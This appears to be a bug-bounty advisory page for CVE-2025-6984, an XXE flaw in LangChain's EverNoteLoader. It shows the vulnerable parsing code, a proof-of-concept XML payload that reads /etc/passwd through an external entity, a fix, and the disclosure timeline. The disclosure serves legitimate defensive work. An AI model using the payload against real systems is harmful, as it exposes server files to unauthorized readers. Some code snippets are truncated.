

langchain-community: Sensitive Information Disclosure Due to Insecure XML Parsing in EverNoteLoader in [langchain-ai/langchain](#)

✓ Valid

Reported on May 30th 2025

Description

The EverNoteLoader is a document loader located in the langchain-ai/langchain-community project, which is by default a dependency of the langchain-ai/langchain project. This loader supports parsing XML format files, but due to the lack of disabling external entity references when calling `etree.iterparse()`, an XXE vulnerability has occurred, potentially leading to sensitive information disclosure on the server.

The specific vulnerable code is as follows:

```
# langchain_community/document_loaders/evernote.py
def _lazy_load(self) -> Iterator[Document]:
    for note in self._parse_note_xml(self.file_path):
        if note.get("content") is not None:
            yield Document(
                page_content=note["content"],
                metadata={
                    **{
                        key: value
                        for key, value in note.items()
                        if key not in ["content", "content-raw", "resource"]
                    },
                    **{"source": self.file_path},
                },
            )
```

then call `_parse_note_xml()`

```
# langchain_community/document_loaders/evernote.py
@staticmethod
def _parse_note_xml(xml_file: str) -> Iterator[Dict[str, Any]]:
    """Parse Evernote xml."""
    # Without huge_tree set to True, parser may complain about huge text node
    # Try to recover, because there may be "&nbsp;", which will cause
    # "XMLSyntaxError: Entity 'nbsp' not defined"
    try:
        from lxml import etree
    except ImportError as e:
```

```

        logger.error(
            "Could not import `lxml`. Although it is not a required package to use
            "Langchain, using the EverNote loader requires `lxml`. Please install
            "`lxml` via `pip install lxml` and try again."
        )
        raise e

    context = etree.iterparse(
        xml_file, encoding="utf-8", strip_cdata=False, huge_tree=True, recover=True
    )

    for action, elem in context:
        if elem.tag == "note":
            yield EverNoteLoader._parse_note(elem)

```

Proof of Concept

// payload.xml

```

<!--?xml version="1.0" ?-->
<!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
<note>
    <content>&example;</content>
</note>

```

When the server parses the XML file using the following code, the vulnerability is triggered

```

from langchain_community.document_loaders import EverNoteLoader

if __name__ == "__main__":
    loader = EverNoteLoader(
        "./payload.xml"
    )
    print(loader.load())

```

Impact

An attacker could craft a malicious XML payload that references local files or SSRF, potentially leading to unauthorized data exposure, e.g., /etc/passwd.

Occurrences

 evernote.py L1-L23

References

- [langchain Security Policy](#)

⚙️ We are processing your report and will contact the **langchain-ai/langchain** team within 24 hours. 8 months ago

⚙️ This report has now been passed to internal triage and should be resolved within 14 days. 7 months ago



A **langchain-ai/langchain** maintainer has acknowledged this report 7 months ago

📅 The scheduled publication date was automatically extended from 28th Aug 2025 to 4th Sep 2025 due to the maintainers acknowledgement of the report 7 months ago



Eugene Yurtsev modified the CWE from Exposure of Sensitive Information to an Unauthorized Actor to Exposure of Sensitive Information to an Unauthorized Actor 7 months ago



Eugene Yurtsev validated this vulnerability 7 months ago

\$ **liankee** has been awarded the disclosure bounty ✓

\$ The fix bounty is now up for grabs

★ The researcher's credibility has increased: +7



CVE-2025-6984 assigned to this report. 7 months ago



LianKee commented 7 months ago

Researcher

Remediation Recommendations

add `resolve_entities=False` to `etree.iterparse()` in in
`langchain_community/document_loaders/evernote.py#_parse_note_xml()`

```
context = etree.iterparse(
    xml_file, encoding="utf-8", strip_cdata=False, huge_tree=True, recover=True, resolve_
```



LianKee commented 7 months ago

Researcher

Hello, I found that I mistakenly marked the “Availability” metric as “None” in the CVSS score. Upon further review, I realized that this vulnerability not only leads to sensitive information disclosure but can also severely affect system availability by leveraging XML bomb attacks.

Could you please adjust the “Availability” score accordingly to reflect the potential impact on system availability?

Thank you for your understanding and for considering this update.



LianKee commented 6 months ago

Researcher

I am pleased to inform you that the vulnerability has been successfully addressed and fixed (<https://github.com/langchain-ai/langchain-community/commit/e842452108089524e22c3a2ced851c021884556f>). We kindly request that the advisory, currently marked as private, be converted to public in order to provide transparency and help others in the community benefit from this information.

Thank you for your attention to this matter.

✉ We have notified the **langchain-ai/langchain** maintainers about this report in their weekly follow-up 5 months ago

⚠ We have sent a warning to the **langchain-ai/langchain** team to inform them that this report will be published in 48 hours 5 months ago



This vulnerability has now been published 5 months ago



CVE-2025-6984 has now been published 5 months ago

[Sign in](#) to join this conversation

CVE

CVE-2025-6984

Published

Vulnerability Type

CWE-200: Exposure of Sensitive Information to an Unauthorized Actor

Severity

High (7.5)

Attack vector	Network
Attack complexity	Low
Privileges required	None
User interaction	None
Scope	Unchanged
Confidentiality	High
Integrity	None
Availability	None

[Open in visual CVSS calculator](#)

Registry

Pypi

Affected Version

0.3.63 (latest)

Visibility

Public

Status

Awaiting fix

Found by



LianKee

@liankee

UNPROVEN



Supported by [Palo Alto Networks](#) and Prisma AIRS, leading the way to greater AI security.



© 2024

[Privacy Policy](#)

[Terms of Service](#)

[Code of Conduct](#)

[Cookie Preferences](#)

[Contact Us](#)